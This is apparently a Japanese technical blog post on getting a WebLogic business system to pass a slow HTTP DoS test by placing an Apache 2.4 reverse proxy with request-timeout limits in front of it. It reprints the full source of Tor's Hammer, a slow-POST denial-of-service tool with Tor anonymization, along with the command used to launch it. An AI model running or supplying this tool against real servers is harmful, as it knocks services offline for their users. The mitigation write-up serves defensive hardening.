apache 2.4プロキシサーバを設定してHTTP要求と応答を転送し、slow http dosテストを通過する

12272 ワード

元のシステムは業界内の業務システムで、2セットのシステムを配置して、それぞれJbossとwebLogicをサーバーとして採用して、2セットのシステムは同じ物理の機械の上で、2つのポートを使います.
サーバ:weblogic 12.1.2    Jboss eap6.0
データベース:oracle 12(別の物理マシン、2つのシステムが共通)
試運転時にweblogicに登録されたサービスに対してslow http dosテストを行う.テストツールはTorshammer(Pyton 2.7をインストールする必要があります)、テストコマンド:torshammer.py-t IPアドレス-r 256 -p 7001,新しいテキストを作成し,このコマンドをコピーし,保存後にファイル接尾辞をcmdに変更する.
テスト担当者が20ウィンドウを開いてこのコマンドを同時に実行すると、システムは応答しません.
Torshammerツールのtorshammer.pyファイルを開きます.コードは次のとおりです.
#!/usr/bin/python

"""
Tor's Hammer - Slow POST Denial Of Service Testing Tool
Version 1.0 Beta
Project home page: https://sourceforge.net/projects/torshammer

Tor's Hammer is a slow post dos testing tool written in Python.
It can also be run through the Tor network to be anonymized.
If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050. 
Kills most unprotected web servers running Apache and IIS via a single instance.
Kills Apache 1.X and older IIS with ~128 threads.
Kills newer IIS and Apache 2.X with ~256 threads.
"""

import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal

from threading import Thread

global stop_now
global term

stop_now = False
term = terminal.TerminalController()

useragents = [
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
 "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
 "Opera/9.20 (Windows NT 6.0; U; en)",
 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
 "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
 "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
 "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
 "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
 "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
 "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
 "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
 "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
 "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
 "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
 "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True
		
    def _send_http_post(self, pause=10):
        global stop_now

        self.socks.send("POST / HTTP/1.1\r
" "Host: %s\r
" "User-Agent: %s\r
" "Connection: keep-alive\r
" "Keep-Alive: 900\r
" "Content-Length: 10000\r
" "Content-Type: application/x-www-form-urlencoded\r
\r
" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) self.socks.close() def run(self): while self.running: while self.running: try: if self.tor: self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) self.socks.connect((self.host, self.port)) print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL time.sleep(1) continue while self.running: try: self._send_http_post() except Exception, e: if e.args[0] == 32 or e.args[0] == 104: print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL self.socks = socks.socksocket() break time.sleep(0.1) pass def usage(): print "./torshammer.py -t [-r -p -T -h]" print " -t|--target " print " -r|--threads Defaults to 256" print " -p|--port Defaults to 80" print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050" print " -h|--help Shows this help
" print "Eg. ./torshammer.py -t 192.168.1.100 -r 256
" def main(argv): try: opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="]) except getopt.GetoptError: usage() sys.exit(-1) global stop_now target = '' threads = 256 tor = False port = 80 for o, a in opts: if o in ("-h", "--help"): usage() sys.exit(0) if o in ("-T", "--tor"): tor = True elif o in ("-t", "--target"): target = a elif o in ("-r", "--threads"): threads = int(a) elif o in ("-p", "--port"): port = int(a) if target == '' or int(threads) <= 0: usage() sys.exit(-1) print term.DOWN + term.RED + "/*" + term.NORMAL print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL rthreads = [] for i in range(threads): t = httpPost(target, port, tor) rthreads.append(t) t.start() while len(rthreads) > 0: try: rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()] except KeyboardInterrupt: print "
Shutting down threads...
" for t in rthreads: stop_now = True t.running = False if __name__ == "__main__": print "
/*" print " *"+term.RED + " Tor's Hammer "+term.NORMAL print " * Slow POST DoS Testing Tool" print " * Version 1.0 Beta" print " * Anon-ymized via Tor" print " * We are Anonymous." print " * We are Legion." print " * We do not forgive." print " * We do not forget." print " * Expect us!" print " */
" main(sys.argv[1:])
解読:
  • ,126行のmainメソッドでは、デフォルトスレッド256、デフォルトポート80
  • がわかる.
  • 165-168行のコードから分かるように、256スレッドの各スレッドについてhttpPostメソッド
  • が実行される.
    for i in range(threads):
            t = httpPost(target, port, tor)
            rthreads.append(t)
            t.start()
  • httpPostメソッドは58行にあり、70-88行のコードから分かるように、1つのhttp接続について10000文字または数字を送信し、10000文字が送信されるまで1回に1つ送信します.そうしないと、この接続は解放されません.
  • self.socks.send("POST / HTTP/1.1\r
    " "Host: %s\r
    " "User-Agent: %s\r
    " "Connection: keep-alive\r
    " "Keep-Alive: 900\r
    " "Content-Length: 10000\r
    " "Content-Type: application/x-www-form-urlencoded\r
    \r
    " % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) self.socks.close()
    このことから、torshammerを開くとkeepAliveの接続が大量に発生し、接続がサーバがサポートできる最大値に達すると、サーバが正常なHTTP要求を処理できなくなり、DOSとなり、weblogicのPostタイムアウト時間、最長Post時間、HTTP持続時間などを修正するが、slow http dosテストを行うとまだ合格できないことがわかる.
    解決策:apacheサーバをエージェントとして使用し、HTTPを転送する.
    1、元のweblogicの7001ポートを7003に変更します.
    2、ファイアウォールルールを設置し、7003ポートを外部に閉鎖する.
    3、apacheは7001ポートを傍受し、HTTPを7003ポートに転送する.
    4、静的ファイルをapache 24のhtdocsフォルダの下にコピーする--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    apache 2.4の構成はapache 24confフォルダの下にあり、メインプロファイルはhttpd.confで、以下のように変更されます.
    1、サーバーRootをapacheインストールディレクトリに変更する.例えば、サーバーRoot「D:/http-2.4.10-win 64/APache 24」.
    2、Listenが傍受するIP(対外サービスのIP)とポートであることを修正し、apacheがこのポートを傍受し、Listen対外IP:7001のようなweblogicのポートに転送する.
    3、LoadModule...mod_proxy.so、mod_proxyconnect.so、mod_proxyhttp.so、mod_reqtimeout.so前注釈削除;
    4、以下の配置を追加し、
    ProxyRequests Off  対外IP:7001> Order deny,allow Allow from all  ProxyPass/http://localhost:7003/ProxyPassReverse/http://localhost:7003/
    5、ServerNameの変更:ServerName http://対外IP:7001/
    6、Directoryの変更/
        Options ExecCGI FollowSymLinks     AllowOverride All     Require all granted
    7、DocumentRoot「D:/http-2.4.10-win 64/APache 24/htdocs」などのDocumentRootを修正する
    8、Directory「D:/http-2.4.10-win 64/APache 24/http docs」などのhtdocsを修正する
        Options FollowSymLinks     AllowOverride All     Require all granted
    9、トップページの修正
        DirectoryIndex indexForEcms.html index.jsp index.html
    indexForEcms.htmlは自分で追加したトップページです.コードは以下の通りです.その中のURLを元のトップページに置き換えるといいです.
    
    
    
    
    
    
    
    10、次の2行のコメントを取り消す
    Include conf/extra/httpd-mpm.conf Include conf/extra/httpd-default.conf
    11、httpd-mpm.conf、windowsシステムの下にインストールされているapacheの場合、中のパラメータを修正することができ、ThreadsPerChild、MaxConnectionsPerChild、ThreadsPerChild、ThreadLimit、MaxRequestsPerChild、EnableMMAP、EnableSendfile
    12、httpd-default.conf修正
    Timeout 30 KeepAlive On MaxKeepAlive Requests 100//1つの永続接続でサポートされるリクエスト数KeepAlive Timeout 15//1つの永続接続で、1つのリクエストのタイムアウト時間UseCanonicalName Off AccessFileName.htaccess Server Tokens Full Server Signature Off HostnameLookups Off  RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500